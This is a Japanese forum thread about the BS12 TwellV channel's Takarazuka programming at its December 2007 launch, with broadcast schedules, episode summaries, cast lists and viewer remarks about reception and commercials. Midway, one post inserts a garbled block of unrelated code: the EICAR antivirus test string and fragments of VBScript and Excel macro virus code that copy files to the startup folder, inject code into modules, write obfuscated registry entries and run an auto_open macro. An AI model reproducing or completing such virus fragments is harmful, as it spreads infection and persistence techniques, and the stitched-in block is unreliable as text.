2007年12月1日開局 BS12チャンネル
デジタル･ハイビジョン ＴｗｅｌｌＶ（トゥエルビ）
実況は、実況板へGo!。この板での実況は禁止されています。
980踏んだ人は次スレたてプリーズ。
公式HP
ttp://www.twellv.co.jp/
【放送枠】
毎週 日曜日 19：00〜20：15
【再放送】
毎週 土曜日 13：00〜14：15 27：00〜28：15
知れば知るほどに、新たな楽しみと感動が広がるのが、宝塚歌劇の魅力。
夢と感動とロマンあふれる華やかな舞台の作品ラインアップの中から、
様々な時代やジャンルを切り取って、
華麗できらびやかな宝塚歌劇の世界をお届けします。
【番組ＭＣ】
星奈 優里（ほしな ゆり）
1997年に星組トップ娘役に就任。
2001年の星組『ベルサイユのばら2001―オスカルとアンドレ編―』の
マリー・アントワネット役を最後に退団。
【放送枠】
毎週 火曜日 20：00〜20：30
【再放送】
毎週 火曜日 26：00〜26：30
毎週 木曜日 20：00〜20：30 26：00〜26：30
毎週 土曜日 14：30〜15：00 28：30〜29：00
毎週 日曜日 20：30〜21：00
宝塚歌劇の生徒たちが日本全国の「美の世界」を追い求める旅番組
【放送枠】
毎週 月曜日 20：00〜20：15（隔週更新）
【再放送】
毎週 月曜日 26：00〜26：15
毎週 水曜日 20：00〜20：15 26：00〜26：15
毎週 金曜日 20：00〜20：15 26：00〜26：15
毎週 土曜日 14：45〜14：30 28：15〜28：30
毎週 日曜日 20：15〜20：30
12月1日（土） 14：15〜
※＃1のみ特別編成。＃2以降はレギュラー枠（毎週月曜日20：00〜21：15）での放送
宝塚歌劇のホットな情報をお届けするエンターテインメント情報番組。
間もなく幕を開ける公演の最新情報を、稽古場風景などの貴重な映像を交えて
ご紹介します。
本拠地、宝塚での公演はもちろん、東京ほか全国各地の劇場で開催される公演の情報も
くまなくお届けします。
その他、華やかな舞台の裏側や楽しみ方をご紹介する、宝塚歌劇入門コーナーも。
初心者からファンまで楽しめる、宝塚歌劇の魅力満載の新番組です。
【放送枠】
毎週 月曜日 20：15〜20：30
【再放送】
毎週 月曜日 26：15〜26：30
毎週 水曜日 20：15〜20：30 26：15〜26：30
毎週 金曜日 20：15〜20：30 26：15〜26：30
阪急沿線の小さな旅をご紹介する「阪急沿線プチボヤージュ」。
のんびりゆっくり・・・いつもと違うリズムが忘れていた心を思い出させてくれる。
そんな旅へあなたも出かけてみませんか？
■＃1 エンター・ザ・レビュー
12月1日（土） 13：00〜14：15
パリ・レビューのエスプリを生かしながらもテンポある
お洒落な宝塚レビューを展開する。
'05年花組／出演：春野寿美礼、ふづき美世／樹里咲穂
【主演者】
春野寿美礼、ふづき美世／樹里咲穂 他
【出演者】
あうら真輝、ふづき美世、亜門真地、愛音羽麗、愛加あゆ、愛純もえり、
愛水せれ奈、綾瀬あきな、浦輝ひろと、遠野あすか、央雅光希、音波みのり、
夏空李光、夏城らんか、夏美よう、歌花由美、花菜響子、花純風香、
花蝶しほ、花峰千春、花野じゅりあ、花里まな、華桐わかな、華形ひかる、
華月由舞、華城季帆、華那みかり、華耀きらり、芽吹幸奈、絵莉千晶、
希世みらの、稀鳥まりや、貴怜良、貴千碧、輝良まさと、橘梨矢、桐生園加、
琴城まなか、月央和沙、月路奏、湖々マリア、高翔みず希、此花いの莉、彩咲めい、
彩城レア、彩吹真央、冴輝ちはや
■＃2 華麗なる千拍子'99 -高木史朗作品より-
12月2日（日） 19：00〜20：15
60年初演の不朽の名作の再演。
単なる初演のリメイクに止まらず新しいリズム（千拍子）をテーマに構成。
99年雪組/出演：轟悠、月影瞳、香寿たつき他
【主演者】
轟悠、月影瞳、香寿たつき 他
【出演者】
すがた香、ゆり香紫保、愛耀子、愛田芽久、鮎奈さえ、安城志紀、安蘭けい、
音月桂、夏央小槇、花彩ひとみ、花純風香、花帆杏奈、貴咲美里、貴城けい、
貴船尚、橘梨矢、月影瞳、五峰亜季、香寿たつき、轟悠、紺野まひる、
冴月晃、山科愛、汐夏ゆりさ、汐風幸、珠希かほ、春あゆか、森央かずみ、
森咲かぐや、神麗華、神月茜、水純花音、成瀬こうき、聖れい、千咲毬愛、
奏乃はると、蒼海拓、沢音和希、地矢晃、朝海ひかる、天希かおり、
天勢いづる、灯奈美、南帆香凜、白樺湖夕、飛鳥裕、飛鳥井まり、美郷真也、
美穂圭子、柊巴、舞坂ゆき子、舞咲りん
■＃1 「天使の雫に出会う旅」−伊勢志摩− 旅人：白羽ゆり
12月1日（土） 14：30〜15：00
※＃1のみ特別編成。＃2以降はレギュラー枠（毎週火曜日20：00〜20：30）での放送
今回訪れるのは三重県の伊勢志摩。
伊勢志摩といえば女性を魅了する宝石「真珠」の産地。
また古来から神の国といわれ、伊勢神宮への参拝の旅は江戸時代から庶民の夢であり
日本の旅の原点でもあります。
志摩の松島と呼ばれ、鳥羽湾の中で最も美しい三ツ島めぐりができる遊覧船では、
鳥羽湾の中心にあるレジャー島・イルカ島に立ち寄ることができます。
島内ではかわいいイルカのショーやコミカルなアシカショーが楽しめますが、
なんといってもイルカと触れあえるイルカタッチがおすすめです。
そして天使のしずくで有名なミキモト真珠島へ。
真珠島には真珠博物館やパールプラザ、海女さんの実演を見ることができる
海女スタンドなどがあり、島全体が真珠のテーマパークとなっています。
■＃1 「異人館の街、神戸ぶらり旅」 旅人：純あいら
12月3日（月） 20：15〜20：30
今回は宙組の純あいらが神戸を訪ねます。
阪急三宮駅に降り立ちまず目指したのは『北野工房のまち』。
ここは、旧北野小学校の建物をそのまま使用しているため、
どことなく懐かしい雰囲気が漂います。
ここには、神戸らしい名店が集まっています。
その中のひとつ『ぱーるＡ＆Ｓ』というアクセサリーを売るお店では、
天然石とパールを使って、自分だけのアクセサリーを作ることも出来ます。
次に向かったのは、『神戸北野美術館』。
1898年建築の異人館ホワイトハウスの建物を使った美術館です。
常設展示されている、兵庫県のイラストレーター「永田萌」さんの
ファンタジックな作品をしばし眺め夢の世界へ・・・。
今回は、新神戸ロープウェー 夢風船に乗り『布引ハーブ園』も訪ねます。
情報アリガトー。
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo ", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1. (BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E. 1), A("VHORU@SU/WCR"))
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
kak\ \';\ken=\wd+'\START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
whichfile = p + w * 10
End Sub
エンター・ザ・レビューはともかくとして、華麗なる千拍子'99もハイビジョン収録してたんだろか。
出演者名はいったいどういう並び？と思ったんだけど、文字コード順だね。
エンターの方、研一生の名前が結構入ってるんだけどどういう人選なんだろう。
ここで放映する為だったのか。
旧作のショーと宣伝番組。なるほどねって感じ。
しかも、どの番組も何回かリピートあるみたいだし。
何のショーだろう？
番組表がちーと見づらいな。
でも、WOWOWより放映回数は多いんだもんな。
ｱﾘｶﾞﾄﾝ。ワタルさんのさよならがこんな衣装だったのを思い出したよ。
部屋のﾃﾚﾋﾞ(デジタルハイビジョン)は何か設定しないと見れませんか？？
ガンガレ〜
昼間のカラーバーで、おためしを。
http://www.bs11.jp/
「ザ・レビュー '99(宙組)」らしい。
ドリーミング・シアター、宙レビュー99の次の週は
花エンター・ザ・レビューと雪華麗なる千拍子99の再放送
その次が、花サザンクロス・レビュー。年末は宙レビュー99の再放送。
BS11の方はざっと見たけど、特に宝塚はないみたい。
2日(日)に「レビュー狂時代2006」宝塚・松竹・日劇のOB・OGが競演
というのがあるくらいかな。
ネーミングが紛らわしいんだけど、BS11というのはNHK BS-2のことではなくて、
トゥエルビBS12と同日に開局するBSデジタルハイビジョンチャンネルのこと。
ＢＳイレブンと読むらしい。>>26のHP参照。
「222ｃｈ」です。
古めのＢＳデジタル受信装置だと、11や12のボタン押しても効かない事が
ありこの場合チャンネル設定必要。
この辺はＴｗｅｌｌＶのＨＰに記載されてるよ。
直接入力すっかー。
いつも番組表(EPG)出してそこから選ぶので、チャンネル番号とか入れたことないや。
リモコンキーを押す回数ってあまり変わらないから、
自分も結局番組表からチャンネル選んでるな。
有料のWOWOW・スターチャンネルBSを契約していないのなら
「９」「１０」のボタンにBSデジタル新放送局を設定させれば？
とTwellVのHPのFAQにも書いてある。
http://www.twellv.co.jp/qa/answer_f.html#6
サンクス！
１０１からチャンネルダウンしたら映ったりしたけど
スターチャンネルは契約してないからそっちに設定しようかな。
これはスカイステージでやってる番組なのかい？
だとしたらどういう番組なのだい？
どっちもスカステで放送してた（る）番組。
美の旅人たち：ジェンヌによる旅番組。各回1人が登場、行く場所は北海道から沖縄まで様々。
たしかKBS京都とスカステの共同制作で、2、3年前に放送されてた番組。シリーズ終了済。
プチボヤージュ：阪急電車の沿線（たまに激しく逸脱）の観光スポットやお店の案内。
初期は出なかったが途中から毎回ジェンヌが登場。主に下級生で、簡単なインタビューもあり。
今もスカステで継続中。
無料放送だから贅沢な要求かも知れないが
途中にCM入らなければなおうれしい。
さっきスカステで、what's up宝塚見てたんだけど、
スカステの宣伝とかも入ってたところはこっちのチャンネル向けに変更されるのかな。
それともそのまま流すんだろうか。
【12月１日開局】TwellV実況【222ch】
http://live24.2ch.net/test/read.cgi/livewowow/1196402573/
ショーの間に入るＣＭウザイ。５０分ショーを一気にやってそのあと
１０分くらいＣＭまとめて放送してくんないかな？
このチャンネル、ディズニーチャンネルのアニメもやるね。ＦＯＸチャンネルとか
ＬＡＬＡＬＡＴＶの海外ドラマの放送もしてほしい！。
＆＆今日映画の風と共に去りぬ放送だね！水でやるかもしれないから、もっかい
見ておこう！
トゥエルビ毎土日見るよ
リクエストが多ければ放送するかもしれないけど、いずれに
してもＣＭは入るよ。
他の民法ＢＳ放送と同じ。
それより心配なのはＱＶＣの比率が増えないかどうか。
昔あった花の指定席とかみたいな感じなのかな〜
無料の割になかなかの内容で満足。
ｺﾞﾊﾞｸしたすまそ
（確か宙のファントム辺りからだったと思う）だからそれなりだったと思うんだけど、
明日以降の舞台作品はどうなんだろうなあ。
市販ビデオの映像が流れるんだと思うけど、ハイビジョンなのかな。
と言ってもうちのTVはハイビジョンじゃないので、見てもわかんないやきっと。
スカイステージオリジナルより収録が良くできているから好き。
昔のはNHKのハイビジョン映像借りて来れれば良いんだけど。
TCAソースならSDｹﾃｰｲ
NHKがスカステに貸すなら、お互い様持ちつ持たれつ
何かの時にはヨロシク、ということもあるけど、
民放BSに貸したって、NHKの得になることなんて何もないじゃん。
来年開局する三井デジタルチャンネルとの契約の影響だから、と
書いてる人いたしね。
無料なんだし過大な期待はし過ぎず、そこそこ楽しみましょってとこかな。
番組表に出ないと何とも言えないけど
久々に劇場行きたくなった
嫌いだった生徒までもが眩しい…
新規ファン獲得はないかもだが、自分みたいなご無沙汰ファソには影響力ありますよ
ありがたい…
■＃3 ザ・レビュー'99 99年宙組・宝塚大劇場
昭和52年に「モン・パリ」50周年記念として上演され、
その年の芸術祭優秀賞に輝いた名作をベースにしたショー。
【主な出演者】
姿月あさと、花總まり、和央ようか 他
【作品詳細】
1977年に初演された作品の初演のエスプリを生かしつつ現代の感覚で再構成した
大型グランド・レビューで、タカラヅカのレビュー本来の豪華で華麗な美しさが味わえる。
作・演出は岡田敬二。
大階段を使用したスペクタクルなオープニングから、約60名の大ロケット、
淡いピンクのオペレッタ名曲メドレー、豪華客船上での優雅で流れるようなダンスシーンなど
見どころは満載。
初演を再現した「夢人」は、鳥になった少年（夢人）が傷ついた白い鳥と恋におちるが、
そこに魔鳥（イーグル）が現れ、二人を滅ぼす。
魂となった二人はフェニックスに生まれ変わり、太陽に向かって飛び続ける。
夢人に姿月、白い鳥に花總、イーグルに和央ようか。
独特の振付の鳥の群舞も見どころ。
■＃4 サザンクロス・レビュー 97年花組・宝塚大劇場。
12月23日（日） 19：00〜20：15
サザンクロス（南十字星）が輝く南半球を舞台に、極彩色のカルナバルの中で繰り広げられる
ドラマティックなレビュー。
【主な出演者】
真矢みき、千ほさち、愛華みれ 他
【作品詳細】
作・演出は草野旦。
カルナバルの激しいダンスで始まる「プロローグ」。
「アマゾン」では、ジャングルの妖しい花、食虫花（真矢）が花の魅力で
虫（宝樹彩、朝海ひかる）達を食べようとする。
「エルドラード」アマゾンの森の奥に姿を現した黄金郷、男（真矢，愛華、香寿たつき、匠ひびき）達に
よって歌い継がれ踊り継がれて、再びカルナバルとなる。
「パタゴニア」南極に近い街、ノニーノ（真矢）とファニータ（千）は真実の愛を誓い合う仲であったが、
二人の属する一家は互いに仲が悪く、争いが絶えなかった。
二人の愛はその間で弄ばれ、そして遂に訪れた二人の死。
南十字星が燦々と輝く氷の世界、幻想のカルナバルの世界で甦る二人の命、
ノニーノは南十字星を目指して飛ぶ。
＃2 「現代の名工に出会う旅」−高千穂− 旅人：壮 一帆
今回訪れるたは宮崎県の高千穂町と綾町。自然と人間それぞれの美を体感します。
最初に訪れるのは大自然の壮大な高千穂峡。決して人間の手では作ることのできない
7キロにも及ぶ絶壁や落差17ｍの真名井の滝。
そんな大渓谷の神秘的な空気を静かにボートでも体験します。
続いては歩く吊橋世界一の高さを誇る照葉大吊橋を渡って、神話のふるさととしても有名な水の郷、
綾町の酒泉の杜を訪ね、グラスアート宮崎綾工房で美しいガラス工芸に挑戦します。
■＃3 「雅なきものに出会う旅」−京都− 旅人：凰稀 かなめ
初回放送：12月18日（火） 20：00〜20：30
最近若い女性たちの間で注目されている着物。その着物の本場・京都を今回は訪れます。
室町通りは平安京から１２００年以上の歴史を持ち、通称「呉服屋筋」ともいわれる
西陣と並ぶ日本でも有数の呉服の街として有名なところ。
現在でもいたるところに呉服問屋や京友禅の職人たちの店があります。
重厚な町家を贅沢に使った呉服と和雑貨の店「四君子」には、趣深い雰囲気の中、
今流行のアンティーク着物などもたくさん置いてあります。
有形文化財に指定されている町家を利用した京の襦袢の店「紫織庵」では
上品かつお洒落な襦袢を作っています。今や京都ではここだけとのこと。
そして着物にとってのおしゃれの基本は帯締めということで、くみひも作りを体験します。
■＃2 「神戸 エキゾチックな風に誘われて・・・」 旅人：純あいら
今回は前回に引き続き宙組の純あいらが神戸を訪ねます。
まず、やってきたのは、旧居留地にたたずむ、あかりの歴史と文化の博物館
『神戸らんぷミュージアム』。館内には、”あかりミュージアムウォーク”があり、
人類史上初の灯かりからランプ、電気までの変遷をたどることが出来ます。
ランプミュージアムを出て次に向かった先は、横浜に次ぐ規模を誇る中華街の南京町。
カラフルな装いの本格的な中華料理の店や雑貨店が立ち並んでいます。
ここで、中国茶のお店『天府茗茶』を訪ねてみました。
店内には、８０種ほどの中国茶が並びお茶の香りがいっぱいです。
更に今回は潮の香り漂う、ベイエリアスポットも訪ねます。
■＃3 「太閤秀吉が愛した温泉郷 有馬」Part1 旅人：音花ゆり
初回放送：12月17日（月） 20：15〜20：30
今回は、星組の音花ゆりが有馬温泉を旅します。
阪急バスにゆられて有馬温泉駅で下車、最初に訪れたのは有馬の玄関口にある湯煙広場。
湯治の為に度々足を運んだ豊臣秀吉の像があります。近くには有馬の外湯として
２００２年オープンした金の湯では、鉄分を含んだ赤茶色の湯を楽しむことができます。
また、足湯は無料で開放されており観光客の疲れを癒してくれます。次に訪れたのは、灰吹屋西田筆店です。
筆を立てると、ひょこっと小さな人形が顔を出す有馬人形筆。特別に仕掛け作りに挑戦。
さて、すっかり日も暮れ、今夜の宿泊は、有馬ビューホテル。
有馬ビューホテルは、金泉と銀泉の２種類のお湯を楽しむ事の出きるリゾートタイプの宿です。
そして、自慢料理は、お鍋。宝塚歌劇の観劇と合わせたうれしい宿泊プランもあるので、みなさまもご利用下さい。
宝塚の最新情報満載!! 初心者からファンまで必見の情報番組！
【放送枠】
毎週 月曜日 20：00〜20：15（隔週更新）
【再放送】
毎週 月曜日 26：00〜26：15
毎週 水曜日 20：00〜20：15 26：00〜26：15
毎週 金曜日 20：00〜20：15 26：00〜26：15
毎週 土曜日 14：45〜14：30 28：15〜28：30
毎週 日曜日 20：15〜20：30
＃2 初回放送：12月17日（月） 20：00〜20：15
宝塚歌劇のホットな情報をお届けするエンターテインメント情報番組。
タカラヅカ・グローリーもですか？
＃4 初回放送：1月14日（月） 20：00〜20：15
生中継って不可能なのかな？
生中継無理なら新しいのが見たい！
昔関西テレビで阪急と産経が株式比率が対等だった頃
土曜の昼に85分(2.35から4.00もしくは4.00から5.25)と毎週夕方6.00から30分やっていた頃
新しいのやってたのに、やってくれ
新しいのやったら視聴率上がるぞ！
放送は見てないけど、舞台ではそんなのは無かった。
＃5 初回放送：1月28日（月） 20：00〜20：15
＃6 初回放送：2月11日（月） 20：00〜20：15
【放送枠】
毎週 月曜日 20：00〜20：15（隔週更新）
【再放送】
毎週 月曜日 26：00〜26：15
毎週 水曜日 20：00〜20：15 26：00〜26：15
毎週 金曜日 20：00〜20：15 26：00〜26：15
毎週 土曜日 14：45〜14：30 28：15〜28：30
毎週 日曜日 20：15〜20：30
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宝塚ドリーミング・シアター
毎週 日曜日 19：00〜20：15
【再放送】
毎週 土曜日 13：00〜14：15
ＴＡＫＡＲＡＺＵＫＡ 美の旅人たち
毎週 火曜日 20：00〜20：30
【再放送】
毎週 木曜日 20：00〜20：30
毎週 土曜日 14：30〜15：00
毎週 日曜日 20：30〜21：00
What's up 宝塚
毎週 月曜日 20：00〜20：15（隔週更新）
【再放送】
毎週 水曜日 20：00〜20：15
毎週 金曜日 20：00〜20：15
毎週 土曜日 14：15〜14：30
毎週 日曜日 20：15〜20：30
阪急沿線 プチボヤージュ
毎週 月曜日 20：15〜20：30
【再放送】
毎週 水曜日 20：15〜20：30
毎週 金曜日 20：15〜20：30
だって
たしかに。
ところで、（●▽●）は当時何歳？
ちょうど10年前かぁ。
２幕の方も放送して欲しいな。
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